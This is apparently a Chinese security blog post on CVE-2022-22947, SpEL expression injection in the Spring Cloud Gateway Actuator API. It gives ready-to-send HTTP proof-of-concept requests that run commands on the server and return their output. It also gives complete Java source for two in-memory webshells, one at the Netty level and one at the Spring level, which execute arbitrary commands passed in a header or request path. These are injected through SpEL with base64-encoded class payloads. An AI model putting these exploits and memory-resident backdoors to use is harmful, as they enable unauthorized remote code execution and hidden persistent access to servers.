Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

漏洞影响

3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

poc1

# 创建
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.1.77:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 334

{
    "predicates": [
    {
        "name": "Path",
        "args": {
        "_genkey_0": "/new_route/**"
    }
    }
    ],
    "filters": [
    {
        "name": "RewritePath",
        "args": {
        "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}",
        "_genkey_1": "/${path}"
    }
    }
    ],
    "uri": "https://www.b521.net",
    "order": 0
}

# 刷新接口
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.1.77:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/json

{
    "predicate": "Path: [/new_route], match trailing slash: true",
    "route_id": "new_route",
    "filters": [
        "[[RewritePath #{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")} = /${path}], order = 1]"
    ],
    "uri": "https://www.b521.net",
    "order": 0
}

poc2

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.1.77:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 330

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"calc\"}).getInputStream()))}"}
  }],
"uri": "http://b521.com",
"order": 0
}

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.1.77:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/json
Content-Length: 330

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value":"#{new java.lang.String(T(org.springframework.util.FileCopyUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"calc\"}).getInputStream()))}"}
  }],
"uri": "http://b521.net",
"order":1000
}

回显相关SPEL表达式

// 使用 GET /actuator/gateway/routes/${id}
"#{new java.lang.String(T(org.springframework.util.FileCopyUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"

"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"

漏洞分析

漏洞成因是在创建StandardEvaluationContext时, 引入了SPEL表达式, 从而有了RCE的后续

配置的路由规则在这

Spring Cloud Gateway-the-method-route-predicate-factory

routes/{id}请求保存路由

filters:='["AddRequestHeader=X-Request-ApiFoo, ApiBar"]'
org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save

路由的filter体可以在请求接口的Javadoc找到, filter配置格式定义可以参考FilterDefinition的name和args字段, ModifyResponseBody

poc里使用的filter


ShortcutConfigurable的getValue方法的第三个参数接受SPEL表达式

漏洞复现

环境搭建, 启动example项目

git clone https://github.com/spring-cloud/spring-cloud-gateway.git
git checkout v3.1.0

依赖

<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter</artifactId>
    <version>3.1.0</version>
</dependency>
<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-gateway</artifactId>
    <version>3.1.0</version>
</dependency>

配置

management.endpoints.web.exposure.include: '*'
# 需要配置一个Method路由, URL也需要指定一个具体的
- id: index
  uri: http://www.b521.net
  order: 10000
  predicates:
    - Method=GET,POST

删除路由

To delete a route, make a request to .DELETE``/gateway/routes/{id_route_to_delete}

注意body要加上对应id

DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.1.77:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 22

{
  "id": "test"
}

Spring cloud gateway通过SPEL注入内存马

spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。这也导致了构造它的内存马,与常规中间件有所不同,从某种程度来讲是这是一种新类型的内存马。

payload优化:

  1. 解决BCEL/js引擎兼容性问题

  2. 解决base64在不同版本jdk的兼容问题

  3. 可多次运行同类名字节码

  4. 解决可能导致的ClassNotFound问题

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

netty层内存马

常规的中间件,filter/servlet/listener组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer(下面简称为configurer),因此注入netty内存马的关键是分析configurer如何被netty管理和工作的。

CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer是为pipeline选择configurer的关键逻辑(reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer)。第一个参数是Spring cloud gateway默认的configurer,第二个是用户额外配置的。第二个参数默认为空,不为空则这两个configurer将被合并为一个新CompositeChannelPipelineConfigurer。CompositeChannelPipelineConfigurer会循环调用所有合并进来configurer来对pipeline添加handler(reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#onChannelInit)。

可以通过修改第二个other参数为自己的configurer向pipline中添加内存马。reactor.netty.transport.TransportConfig#doOnChannelInit属性存储着other参数,我使用java-object-searcher以doOnChannelInit为关键字,定位出了它在线程对象的位置。

内存马构造:

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
    public static String doInject(){
        String msg = "inject-start";
        try {
            Method getThreads = Thread.class.getDeclaredMethod("getThreads");
            getThreads.setAccessible(true);
            Object threads = getThreads.invoke(null);

            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                    Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
                    _val$disposableServer.setAccessible(true);
                    Object val$disposableServer = _val$disposableServer.get(thread);
                    Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
                    _config.setAccessible(true);
                    Object config = _config.get(val$disposableServer);
                    Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
                    _doOnChannelInit.setAccessible(true);
                    _doOnChannelInit.set(config, new NettyMemshell());
                    msg = "inject-success";
                }
            }
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }
 
    @Override
    // Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
        ChannelPipeline pipeline = channel.pipeline();
        // 将内存马的handler添加到spring层handler的前面        
        pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
    }
    
    
    @Override
    // Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if(msg instanceof HttpRequest){
            HttpRequest httpRequest = (HttpRequest)msg;
            try {
                if(httpRequest.headers().contains("X-CMD")) {
                    String cmd = httpRequest.headers().get("X-CMD");
                    String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    // 返回执行结果
                    send(ctx, execResult, HttpResponseStatus.OK);
                    return;
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        ctx.fireChannelRead(msg);
    }


    private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
        FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
        response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
        ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
    }
}

Spring层内存马

Spring层request请求处理组件很多,有handler/Adapter/Filter等等,理论上都可以拿来做内存马,最简单的应该是RequestMappingHandler。处理方法为org.springframework.web.reactive.DispatcherHandler#handle

Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler类和它三个组件来完成

  1. org.springframework.web.reactive.HandlerMapping 定义路由请求和处理程序映射

  2. org.springframework.web.reactive.HandlerAdapter handler适配器

  3. org.springframework.web.reactive.HandlerResultHandler 结果处理器

使用RequestMappingHandlerMapping这个HandlerMapping,来注册一个与使用@RequestMapping("/*")等效的内存马。

public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            registerHandlerMethod.setAccessible(true);
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
            PathPattern pathPattern = new PathPatternParser().parse("/*");
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
            registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
            msg = "inject-success";
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    public ResponseEntity executeCommand(String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}

调用RequestMappingHandlerMapping, 使用beanFactory的上下文获取 beanFactory.getBean("requestMappingHandlerMapping")

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}

参考链接

CVE-2022-22947: SpEL Casting and Evil Beans – Wya.pl

spring-cloud/spring-cloud-gateway: A Gateway built on Spring Framework and Spring Boot providing routing and more. (github.com)

vulhub/spring/CVE-2022-22947 at master · vulhub/vulhub (github.com)

Spring cloud gateway通过SPEL注入内存马

最后由 不一样的少年 编辑于2022年03月11日 14:38